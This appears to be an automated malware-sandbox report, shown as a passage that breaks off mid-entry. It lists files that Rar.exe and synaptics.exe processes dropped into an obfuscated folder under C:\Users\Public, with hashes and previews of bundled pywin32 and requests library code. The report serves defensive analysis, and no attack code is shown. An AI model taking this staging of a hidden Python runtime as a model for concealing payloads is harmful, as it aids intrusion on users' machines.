Preview:	import win32api.import win32con.import win32ui..MAPVK_VK_TO_CHAR = 2..key_name_to_vk = {}.key_code_to_name = {}.._better_names = {. "escape": "esc",. "return": "enter",. "back": "pgup",. "next": "pgdn",.}...def _fillvkmap():. # Pull the VK_names from win32con. names = [entry for entry in win32con.__dict__ if entry.startswith("VK_")]. for name in names:. code = getattr(win32con, name). n = name[3:].lower(). key_name_to_vk[n] = code. if n in _better_names:. n = _better_names[n]. key_name_to_vk[n] = code. key_code_to_name[code] = n..._fillvkmap()...def get_vk(chardesc):. if len(chardesc) == 1:. # it is a character.. info = win32api.VkKeyScan(chardesc). if info == -1:. # Note: returning None, None causes an error when keyboard layout is non-English, see the report below. # https://stackoverflow.com/questions/45138084/pythonwin-occasionally-gives-an-error-on-opening.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\scintilla\scintillacon.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	45141
Entropy (8bit):	4.753874334221887
Encrypted:	false
SSDEEP:	768:H/xT8adr5ufbUAeNuEgsy8x6QyUCNpjx7LYLmq:HZT8adQfb8gsKx7LYLmq
MD5:	6CE12A4CBC3EBC97708577BF982A18B2
SHA1:	32A7270DC458D919CD74EF662E52F3B05B324FBD
SHA-256:	A0C44596B1F9F79B527701C643FAFDDA71BA731A3813A3D29AFECFE734C919EB
SHA-512:	DF65C2829331C9858C3824E09D18F829EB89ADCE281C4B27430ABB50218F224F951108E53162143B1975186BE390C9459644070DFFB8A9DE512CF402FF3DDBFB
Malicious:	false
Reputation:	low
Preview:	# Generated by h2py from Include\scintilla.h...# Included from BaseTsd.h.def HandleToUlong(h):. return HandleToULong(h)...def UlongToHandle(ul):. return ULongToHandle(ul)...def UlongToPtr(ul):. return ULongToPtr(ul)...def UintToPtr(ui):. return UIntToPtr(ui)...INVALID_POSITION = -1.SCI_START = 2000.SCI_OPTIONAL_START = 3000.SCI_LEXER_START = 4000.SCI_ADDTEXT = 2001.SCI_ADDSTYLEDTEXT = 2002.SCI_INSERTTEXT = 2003.SCI_CLEARALL = 2004.SCI_CLEARDOCUMENTSTYLE = 2005.SCI_GETLENGTH = 2006.SCI_GETCHARAT = 2007.SCI_GETCURRENTPOS = 2008.SCI_GETANCHOR = 2009.SCI_GETSTYLEAT = 2010.SCI_REDO = 2011.SCI_SETUNDOCOLLECTION = 2012.SCI_SELECTALL = 2013.SCI_SETSAVEPOINT = 2014.SCI_GETSTYLEDTEXT = 2015.SCI_CANREDO = 2016.SCI_MARKERLINEFROMHANDLE = 2017.SCI_MARKERDELETEHANDLE = 2018.SCI_GETUNDOCOLLECTION = 2019.SCWS_INVISIBLE = 0.SCWS_VISIBLEALWAYS = 1.SCWS_VISIBLEAFTERINDENT = 2.SCI_GETVIEWWS = 2020.SCI_SETVIEWWS = 2021.SCI_POSITIONFROMPOINT = 2022.SCI_POSITIONFROMPOINTCLOSE = 2023.SCI_GOTOLINE

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\scintilla\view.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	30922
Entropy (8bit):	4.678252073720509
Encrypted:	false
SSDEEP:	768:VPPoj9LKOzvG0Xfz3txxYnbPNX8koA79s2MaqlBw+/huXjNv3:VInebVskoAZ0l3K
MD5:	578AF53BD25A2A596BEB0AA5E4319087
SHA1:	1719626B7551DF72AE3EC3459C42BC5B7C6CA18C
SHA-256:	E4B7E75D163FFFED423B15A2F04763BE863FF50E2EEC3DA3CB61C60700ECE537
SHA-512:	3C571549C22313267B84E06C273D7C1C014C378BF511688AD40162C0EB9C517F81410898C36BAE1DB4BDEB6E11DE8B1F176954E7652B74DF28CB6894598F200E
Malicious:	false
Reputation:	low
Preview:	# A general purpose MFC CCtrlView view that uses Scintilla...import array.import os.import re.import string.import struct.import sys..import __main__ # for attribute lookup.import afxres.import win32con.import win32ui.from pywin.mfc import dialog, docview..from . import IDLEenvironment # IDLE emulation..from . import bindings, control, keycodes, scintillacon..PRINTDLGORD = 1538.IDC_PRINT_MAG_EDIT = 1010.EM_FORMATRANGE = win32con.WM_USER + 57..wordbreaks = "._" + string.ascii_uppercase + string.ascii_lowercase + string.digits..patImport = re.compile("import (?P<name>.*)").._event_commands = [. # File menu. "win32ui.ID_FILE_LOCATE",. "win32ui.ID_FILE_CHECK",. "afxres.ID_FILE_CLOSE",. "afxres.ID_FILE_NEW",. "afxres.ID_FILE_OPEN",. "afxres.ID_FILE_SAVE",. "afxres.ID_FILE_SAVE_AS",. "win32ui.ID_FILE_SAVE_ALL",. # Edit menu. "afxres.ID_EDIT_UNDO",. "afxres.ID_EDIT_REDO",. "afxres.ID_EDIT_CUT",. "afxres.ID_EDIT_COPY",. "afxres.ID_EDIT_PASTE",.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\tools\TraceCollector.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2432
Entropy (8bit):	4.6952598205507305
Encrypted:	false
SSDEEP:	48:x0JhIhxBtUd0xPBt6Mj8ETIXPtLp87Km0riLVkxyKhwTXhpJq:ujABtUSJ2MjfIV+Km0rI+xOTXnA
MD5:	B73BEB3DBC8744897E9AA1880591FFF4
SHA1:	D34D555A31BCD0BF2EF50BC8FEC2CD99CD31FDA0
SHA-256:	2075C84B82B5D7452448F7199857CFE67FBF262A67DAFBBC12282FD8A2647F7E
SHA-512:	9F5A29F33051111FA6CDB90BA51DFA6CE32572216135E7A88109664358FE57FE228617DC6E6C386C5FD08AB1D970F25C791A775826289565F8CA6C1E874DDD4C
Malicious:	false
Reputation:	low
Preview:	# win32traceutil like utility for Pythonwin.import _thread..import win32api.import win32event.import win32trace.from pywin.framework import winout..outputWindow = None...def CollectorThread(stopEvent, file):. win32trace.InitRead(). handle = win32trace.GetHandle(). # Run this thread at a lower priority to the main message-loop (and printing output). # thread can keep up. import win32process.. win32process.SetThreadPriority(. win32api.GetCurrentThread(), win32process.THREAD_PRIORITY_BELOW_NORMAL. ).. try:. while 1:. rc = win32event.WaitForMultipleObjects(. (handle, stopEvent), 0, win32event.INFINITE. ). if rc == win32event.WAIT_OBJECT_0:. # About the only char we can't live with is \0!. file.write(win32trace.read().replace("\0", "<null>")). else:. # Stop event. break. finally:. win32trace.TermRead(). print("Thread di

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\tools\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:v:v
MD5:	68B329DA9893E34099C7D8AD5CB9C940
SHA1:	ADC83B19E793491B1C6EA0FD8B46CD9F32E592FC
SHA-256:	01BA4719C80B6FE911B091A7C05124B64EEECE964E09C058EF8F9805DACA546B
SHA-512:	BE688838CA8686E5C90689BF2AB585CEF1137C999B48C70B92F67A5C34DC15697B5D11C982ED6D71BE1E1E7F7B4E0733884AA97C3F7A339A8ED03577CF74BE09
Malicious:	false
Reputation:	low
Preview:	.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\tools\browseProjects.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	9513
Entropy (8bit):	4.680041511661725
Encrypted:	false
SSDEEP:	96:p/W/rkzTFAazbt9Dx4GVnaEP9lZEjWWLFkiNudhm91XJpvaitjYnrZHTTP8bBkoS:p7FNzbmaVk+i4dh8Nvaxr9lulvVuNcQF
MD5:	C67199515363B12BF75D3EDFF4763C10
SHA1:	29DD9457F98E254190AFC7E1686C53CE74DE9442
SHA-256:	EECF9774CF2593A982058BBC453AAB3AB71C69D83D1B0F20D5573E943BEDB840
SHA-512:	B8B47D4BF7DB87E8C72D404D8FF72EDE5B7D767933CBB97E0383C9F1E86172D5C0F7CFA13A59726A06531DCB153807EA678E602B16F84B020785F8D9801985E8
Malicious:	false
Reputation:	low
Preview:	import glob.import os.import pyclbr..import afxres.import commctrl.import pywin.framework.scriptutils.import regutil.import win32api.import win32con.import win32ui.from pywin.mfc import dialog..from . import hierlist...class HLIErrorItem(hierlist.HierListItem):. def __init__(self, text):. self.text = text. hierlist.HierListItem.__init__(self).. def GetText(self):. return self.text...class HLICLBRItem(hierlist.HierListItem):. def __init__(self, name, file, lineno, suffix=""):. # If the 'name' object itself has a .name, use it. Not sure. # how this happens, but seems pyclbr related.. # See PyWin32 bug 817035. self.name = getattr(name, "name", name). self.file = file. self.lineno = lineno. self.suffix = suffix.. def __lt__(self, other):. return self.name < other.name.. def __eq__(self, other):. return self.name == other.name.. def GetText(self):. return self.name + self.suffix..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\tools\browser.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	13614
Entropy (8bit):	4.660208912137426
Encrypted:	false
SSDEEP:	192:AQRzk+RSijEnCqELxf5iFQmCaWVeAi6hzqoaEI:lRzk+RSi9xf5iCreh6hzqo9I
MD5:	D1A84A62078C722CA626ABD14BA2C369
SHA1:	48EC77E5E3B5290201843098A5B6FEDE768F84D6
SHA-256:	6293D32C361E69FB09D5217DEE949E4B15D6E2255B4DCC3C3759ABEF30FE9F28
SHA-512:	36F53C178F1772915BA95F6B997D14BD8AA50CD78CFC91AA26BB6CC886DCE242F3867C9D4E642CF01AA57302DDCABD1ED8600520F982CECB851BEB5A945127A4
Malicious:	false
Reputation:	low
Preview:	# basic module browser...# usage:.# >>> import browser.# >>> browser.Browse().# or.# >>> browser.Browse(your_module).import sys.import types..import __main__.import win32ui.from pywin.mfc import dialog..from . import hierlist..special_names = ["__doc__", "__name__", "__self__"]...#.# HierList items.class HLIPythonObject(hierlist.HierListItem):. def __init__(self, myobject=None, name=None):. hierlist.HierListItem.__init__(self). self.myobject = myobject. self.knownExpandable = None. if name:. self.name = name. else:. try:. self.name = myobject.__name__. except (AttributeError, TypeError):. try:. r = repr(myobject). if len(r) > 20:. r = r[:20] + "...". self.name = r. except (AttributeError, TypeError):. self.name = "???".. def __lt__(self, other):. return self.name <

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\tools\hierlist.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	12728
Entropy (8bit):	4.585314492569441
Encrypted:	false
SSDEEP:	192:MDVW1/JSQsesOdVrQ2csMsBesqOssAs3K+VsEIEbsJ2sNX9h5:MDVW1/gjd6P3nfasT3K+WEIfbNXH5
MD5:	236EE733E7E2050E9752A4399DC39038
SHA1:	CC55A32C114CDF79C10845109AA5080B7F479B3A
SHA-256:	2FF0B1026DB642DD066A70F381EFDFCB49DF98BFB2A16483ADCCEEE335E66E4C
SHA-512:	BC813AE9C7F9C66CE52A1C2188D338EDDACBF9655C26B795D6058961D51D70B22ADE3823BE2A8AD4549E88F04DB087E28DE31A06E76DD594F038C553F4D3671C
Malicious:	false
Reputation:	low
Preview:	# hierlist.#.# IMPORTANT - Please read before using...# This module exposes an API for a Hierarchical Tree Control..# Previously, a custom tree control was included in Pythonwin which.# has an API very similar to this...# The current control used is the common "Tree Control". This module exists now.# to provide an API similar to the old control, but for the new Tree control...# If you need to use the Tree Control, you may still find this API a reasonable.# choice. However, you should investigate using the tree control directly.# to provide maximum flexibility (but with extra work)...import sys..import commctrl.import win32api.import win32con.import win32ui.from pywin.mfc import dialog, docview, object, window.from win32api import RGB...# helper to get the text of an arbitary item.def GetItemText(item):. if type(item) == type(()) or type(item) == type([]):. use = item[0]. else:. use = item. if type(use) == type(""):. return use. else:. return re

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\tools\regedit.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	13258
Entropy (8bit):	4.68464406936916
Encrypted:	false
SSDEEP:	192:PdJYvTWhkPwMiGP8V0V3ZP9FS5Kha5KHvo:PdMekIC8yVpP9FS5Kha5Kw
MD5:	D93B28C41A0C20FF2F27DD72EA6746BB
SHA1:	247A44DE8B5EC098E19EEF56DCA78008BAAB7313
SHA-256:	F445B80A01D9107F0D5DBB265FA3BDD867513A5F3B12B1C3B23F337EAD92B98D
SHA-512:	B30A43E8FBA7AA524F81B8166479A72E999876CD120A70BF5AC6B9EAC0B987186AE553485899C2054FCD14332C67586D93EF720A5564E9BC02CFE58CC83BA401
Malicious:	false
Reputation:	low
Preview:	# Regedit - a Registry Editor for Python..import commctrl.import regutil.import win32api.import win32con.import win32ui.from pywin.mfc import dialog, docview, window..from . import hierlist...def SafeApply(fn, args, err_desc=""):. try:. fn(*args). return 1. except win32api.error as exc:. msg = "Error " + err_desc + "\r\n\r\n" + exc.strerror. win32ui.MessageBox(msg). return 0...class SplitterFrame(window.MDIChildWnd):. def __init__(self):. # call base CreateFrame. self.images = None. window.MDIChildWnd.__init__(self).. def OnCreateClient(self, cp, context):. splitter = win32ui.CreateSplitter(). doc = context.doc. frame_rect = self.GetWindowRect(). size = ((frame_rect[2] - frame_rect[0]), (frame_rect[3] - frame_rect[1]) // 2). sub_size = (size[0] // 3, size[1]). splitter.CreateStatic(self, 1, 2). # CTreeControl view. self.keysview = RegistryTreeView(doc). # C

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\tools\regpy.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2227
Entropy (8bit):	4.872054790493375
Encrypted:	false
SSDEEP:	48:oTIg2Jhq9JNFqAsiCn0XlscNhQTdOTEaMp5UQP/6GOx5Yn:oTIRznjoQTdOoaMpHn65x5Yn
MD5:	493F358181163C78F296572CEC865F45
SHA1:	6E18E4A6E1ACEF2435F2A34E0A134170895AF726
SHA-256:	DD83DA51DE78BA6E3E540C1C66A84DCC2A3E24D85C086522C02F2BC693B74B4F
SHA-512:	4FA5B274307879902F2C4EA553C424F990A56F9034D5BC2EE809F14354BBCDCC04882C1C1AA0BF7B83475D65AEF5FA60B6318217DEE67CFF22C5B0CFF9144A95
Malicious:	false
Reputation:	low
Preview:	# (sort-of) Registry editor.import commctrl.import dialog.import win32con.import win32ui...class RegistryControl:. def __init__(self, key):. self.key = key...class RegEditPropertyPage(dialog.PropertyPage):. IDC_LISTVIEW = 1000.. def GetTemplate(self):. "Return the template used to create this dialog".. w = 152 # Dialog width. h = 122 # Dialog height. SS_STD = win32con.WS_CHILD \| win32con.WS_VISIBLE. FRAMEDLG_STD = win32con.WS_CAPTION \| win32con.WS_SYSMENU. style = (. FRAMEDLG_STD. \| win32con.WS_VISIBLE. \| win32con.DS_SETFONT. \| win32con.WS_MINIMIZEBOX. ). template = [. [self.caption, (0, 0, w, h), style, None, (8, "Helv")],. ]. lvStyle = (. SS_STD. \| commctrl.LVS_EDITLABELS. \| commctrl.LVS_REPORT. \| commctrl.LVS_AUTOARRANGE. \| commctrl.LVS_ALIGNLEFT. \| win32con.WS_BORDER.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\scintilla.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	474624
Entropy (8bit):	6.625429940844488
Encrypted:	false
SSDEEP:	12288:R8sS+hMcU1b7Feir+8Cid5hut1GBd4IYe4ta:H8f+8CidqoareMa
MD5:	128F85DBF43015318D2FC3BDB61D1550
SHA1:	BE5A1C973A6994B65556A64F7F929D8FA86C09EE
SHA-256:	50ACED901BB6E6576F3DAEE43C24E502F4C313390A6BCA10A80CB8DD5C869EFA
SHA-512:	BC2C872159D35FF661161FD61819C35374BDA83A1E26DC3A6ABC8E6D83D965BB250A4849C88B98E8C84CA52BCE64AE3765719FFD4C91007AD952B1092D3B122D
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................... .................................p...n......n.....n.....n.....Rich............................PE..L...?..d...........!.........".......+.......@............................................@......................... ...\...\|...x....0..x....................@...2......................................@............@..4............................text...7-.......................... ..`.rdata.......@.......2..............@..@.data....-..........................@....rsrc...x....0......................@..@.reloc...2...@...4..................@..B........................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\start_pythonwin.pyw

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	570
Entropy (8bit):	4.806856150980674
Encrypted:	false
SSDEEP:	12:5DQ8WFNnLKyJWLakSQkSL77Pami/x8xAmMH/IKSeUiwf5PN:5hW3nmg2ShSLNiOamMfK5iwX
MD5:	E99710CD86EE5DD0224147A559D6B188
SHA1:	52009301D69B18151F5BC894D71EFAA14C2B5C9A
SHA-256:	0E602BB5890C84E4AC07FD60A7C3A91AF9C62AC598174B893DCF570AADCF1EA7
SHA-512:	B0A5A853B7728A1179015A5DE01DAC8E7B826CF239011292B5348DCF9F61E9EF460F1EFDC9799E49E40E6D26E519D7B50996C681A8BB0BB80148ACDD7CBDB94C
Malicious:	false
Reputation:	low
Preview:	# A Python file that can be used to start Pythonwin, instead of using.# pythonwin.exe.import os.import sys..import win32ui..import pywin.framework.intpyapp # InteractivePythonApp()..assert pywin.framework.intpyapp # not unused.# Pretend this script doesn't exist, or pythonwin tries to edit it.sys.argv[:] = sys.argv[1:] or [""] # like PySys_SetArgv(Ex).if sys.path[0] not in ("", ".", os.getcwd()):. sys.path.insert(0, os.getcwd()).# And bootstrap the app..app = win32ui.GetApp().if not app.InitInstance():. # Run when not already handled by DDE. app.Run().

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\win32ui.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	892416
Entropy (8bit):	6.415727021722159
Encrypted:	false
SSDEEP:	12288:ogk6SBmDYtKlZrLk4IkhT3C7Iv8uKqqBL8FxZd:on+rA4Is7YI8qqBL8F
MD5:	CB5708039138CD4A63A922198DC43325
SHA1:	35C22C64A6C2761DF113858AF81284CF175AD0A7
SHA-256:	C6A9B6E35206C7FC440EFAE2187D9E5DB3227CB4E66F7AC69D4ABCA166BE8866
SHA-512:	1617FF8A78990591AEA7A33B9B3831D887E8701046E4A8E05DFF1211C759CCBCCEA8756017E16EEF016DAB1BD037E80243B7EAA1ACD5FD95FDC799FFC8BC2AEC
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................a...E.....#..............................{.........E.....E.....E.....E.....Rich............................PE..L......d...........!......................................................................@......................... i...Q......T...............................l:...x..T....................z.......y..@...............4............................text...B........................... ..`.rdata...%.......&..................@..@.data...8........`..................@....rsrc................H..............@..@.reloc..l:.......<...b..............@..B................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\win32uiole.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	63488
Entropy (8bit):	6.025963796718588
Encrypted:	false
SSDEEP:	1536:UbH2Q6vAkzIcJhru80D20ys8jcdrVgAHKzJKUgo38Be:UbW3vnzIg6fXrVJHKzUUgo3Ye
MD5:	EDE4BAECB1CFA009AEC578FD6E11AA97
SHA1:	5D982015F94F50A25C8E635562947F8110AA891B
SHA-256:	A864B413E5DD5D2F13DE834FA333546F9FFC2177BD0625EFA2A3175C1449E78F
SHA-512:	5BF40FF82882B7920AB255F2966BCF2DD515B1C23ACD30AC6300E9F170A08E1287FF01852C60B7E267B190E54AE5D362D018E5232A500B6C68EA7FF7373B643F
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............L...L...L..%L...L=..M...L[..M...L.M...L.M...L...M...L...M...L...M...L...L...L...M...L=..M...L=..M...L=..M...LRich...L........PE..L...!..d...........!.....b..........AT.......................................@............@.............................T...............d.................... ..........T...............................@............................................text....`.......b.................. ..`.rdata..Fr.......t...f..............@..@.data...............................@....rsrc...d...........................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pywin32.pth

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	178
Entropy (8bit):	4.536641638598185
Encrypted:	false
SSDEEP:	3:SgOFQFU7MLWmP/t1IQbT0+MetmY28eRNTFR23LOeNCEndDpkXEF:SgOOFBVP/H7H0+MeZpcF+KeNCEnmEF
MD5:	322BF8D4899FB978D3FAC34DE1E476BB
SHA1:	467808263E26B4349A1FAF6177B007967FBC6693
SHA-256:	4F67FF92AF0EA38BF18AC308EFD976F781D84E56F579C603ED1E8F0C69A17F8D
SHA-512:	D7264690D653AC6ED4B3D35BB22B963AFC53609A9D14187A4E0027528B618C224ED38E225330CEAE2565731A4E694A6146B3214B3DCEE75B053C8AE79F24A9DD
Malicious:	false
Reputation:	low
Preview:	# .pth file for the PyWin32 extensions.win32.win32\lib.Pythonwin.# And some hackery to deal with environments where the post_install script.# isn't run..import pywin32_bootstrap.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pywin32_system32\pythoncom310.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	538624
Entropy (8bit):	6.491364168693639
Encrypted:	false
SSDEEP:	12288:1LsDRVuJvn1KJDh6s8NjtwMGRhw0pdRnnG:tszuFg3n
MD5:	D97ECC9F37DC4ED3E5A1927A5B772BEF
SHA1:	23A3869FD403590CD520FA8633E09795E9B5FDCB
SHA-256:	FD2ACDF0CAB285163604CF342BBDC09B4786415EB68ED4DB7625C3E30FD129BB
SHA-512:	5B314CA54B8254F580A4A385A1526504D953E395255A1730073D76ADD73094AD19D3EFE30438AA71869C56A25860B1C743841CD1A3F4AB6F61A98E4CB4A1F5F9
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........^X..?6..?6..?6..G...?6..J7..?6..J3..?6..J2..?6..J5..?6.NJ7..?6..T2..?6.(V7..?6..T7..?6..?7..>6.NJ?..?6.NJ6..?6.NJ4..?6.Rich.?6.........PE..L...o..d...........!.........8...........................................................@.........................0...l`........... ..l....................0..8...0 ..T............................ ..@...............l............................text............................... ..`.rdata..............................@..@.data........0...h..................@....rsrc...l.... ......................@..@.reloc..8....0......................@..B................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pywin32_system32\pywintypes310.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	109056
Entropy (8bit):	6.492481300735069
Encrypted:	false
SSDEEP:	3072:ghrG/2U9uNwnSZyz2UJ39LOtKq/foJ/d2YPbLNr0JedNKNTuPSuUqm:Xr9u2nYyz2HtKq/foJ/d2YPbRYJedNKE
MD5:	255C85303581C56BD17A0303EF3BDA10
SHA1:	8519047A3FE52E7952766278964DC44D2B3AD651
SHA-256:	949C0AB7842FB4D9ADF01C52C5E24CC286D3F916384684F6C770EC29C69B4D76
SHA-512:	7A4D54B5EE7FD0C33E10D5398CE01B309BD0CEA4F5095C11072AA500BA2091B4F5816B7D5ABD091D812C985809E99FAE7C77EEF844294A83D2460CB1744D8CCB
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............j..j..j.....j..k..j......j..o..j..n..j..i..j..n..j...k..j..k..j..k.G.j.e.c..j.e.j..j.e.h..j.Rich..j.........................PE..L......d...........!................9.....................................................@..........................2..D@..Tr..........l............................(..T...........................0)..@............................................text............................... ..`.rdata.............................@..@.data................z..............@....rsrc...l...........................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5072
Entropy (8bit):	4.857425771188779
Encrypted:	false
SSDEEP:	96:7peYVGivM4vAAbAmAmo7146JlABKAFilvrK2As4+AGxQ0isNiZi0Xoy2Psv:7bMo8JdeeWPsoZ1RGxQ/
MD5:	35A5BBB6EFDDDE1984A7E15D69AA5F40
SHA1:	648596E3AC1513E124FE04A3FFE30F8B1BC1BAD7
SHA-256:	E3168011198F0C804FB1AD8FB23A54F6BD3ACA8A0AFB69992874D90215915ADB
SHA-512:	7BEC2837D23FA13356E073DE9FC9739EF18D8417A76729788A867A9ED74635B3D0E886A7AD6B53F1FF98FA138037B090DBC4CAE870E73799C362473B4FA41383
Malicious:	false
Reputation:	low
Preview:	# __.# /__) _ _ _ _ _/ _.# / ( (- (/ (/ (- _) / _).# /..""".Requests HTTP Library.~~~~~~~~~~~~~~~~~~~~~..Requests is an HTTP library, written in Python, for human beings..Basic GET usage:.. >>> import requests. >>> r = requests.get('https://www.python.org'). >>> r.status_code. 200. >>> b'Python is a programming language' in r.content. True..... or POST:.. >>> payload = dict(key1='value1', key2='value2'). >>> r = requests.post('https://httpbin.org/post', data=payload). >>> print(r.text). {. .... "form": {. "key1": "value1",. "key2": "value2". },. .... }..The other HTTP methods are supported - see `requests.api`. Full documentation.is at <https://requests.readthedocs.io>...:copyright: (c) 2017 by Kenneth Reitz..:license: Apache 2.0, see LICENSE for more details.."""..import warnings..import urllib3..from .exceptions import RequestsDependencyWarning..try:. from charset_normalizer import __version__ as charset_n

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\pycache\init.cpython-310.pyc.59260960

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	3904
Entropy (8bit):	5.791321651011868
Encrypted:	false
SSDEEP:	96:QqPoGNOeYVGivMhhFJQlIgSdAhoFpVaxdses42WQXIBmPriV7:RP8MhqKgSehldFQYBJh
MD5:	7685397CF789DFC37312B8EAF3555C09
SHA1:	7735A67F384F99F3E0329AE5A6ED718623398BD7
SHA-256:	A6AA7A8B53FDFD6CA9EA5F66141887813FD8D85A9AE5EC14BA32B8EB0D29077B
SHA-512:	127DBD0D8E23DBE8BFEC36D35018DFDFA682A782E6DE47E21A1EB3B2BF190434BFFDC870C3E814711E7735927BC227A96939C3AC47FAB1D719B2F3FF6011B783
Malicious:	false
Reputation:	low
Preview:	o.......?..f.........................@...sL...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...z.d.d.l.m.Z...W.n...e.y#......d.Z.Y.n.w.z.d.d.l.m.Z...W.n...e.y7......d.Z.Y.n.w.d.d...Z.d.d...Z.z.e.e.j.e.e.....W.n...e.e.f.y`......e...d...e.j.e.e...e.....Y.n.w.z.z.d.d.l.Z.W.n...e.ys......d.Z.Y.n.w.e.e.d.d...s.d.d.l.m.Z...e.......d.d.l.m.Z...e.e.....W.n...e.y.......Y.n.w.d.d.l.m.Z...e...d.e.....d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(m.Z...d.d.l)mZm+Z+m,Z,m-Z-m.Z.m/Z/m0Z0m1Z1..d.d.l.m2Z2m3Z3m4Z4m5Z5m6Z6m7Z7m8Z8m9Z9m:Z:m;Z;..d.d.l<m=Z=m>Z>m?Z?..d.d.l@mAZAmBZB..d.d.lCmDZD..e..EeF...Ge.......e.j.d.e4d.d.....d.S.).a.....Requests HTTP Library.~~~~~~~~~~~~~~~~~~~~~..Requests is an HTTP library, written in Python, for human beings..Basic GET usage:.. >>> import requests. >>> r = requests.get('https://www.python.org'). >>> r.status_code. 200. >>> b'Python is a programming language' in r.content. True..... or POST:.. >>> payload = dict(key1='value1', key2='value2

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\requests\pycache\version.cpython-310.pyc.61159688

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	518
Entropy (8bit):	5.543558804495626
Encrypted:	false
SSDEEP:	12:CAHUexOsG8ReRyu7msvBXV5b4SazcAFAu63WcJl7Rm7hooookk:tZxdOyqmsvBF5McAFAu6pbV4ek
MD5:	F34FAB97167751D0938F0C747B335316
SHA1:	3876CA526C774B062CBDCD3481E221FA2B7438D3
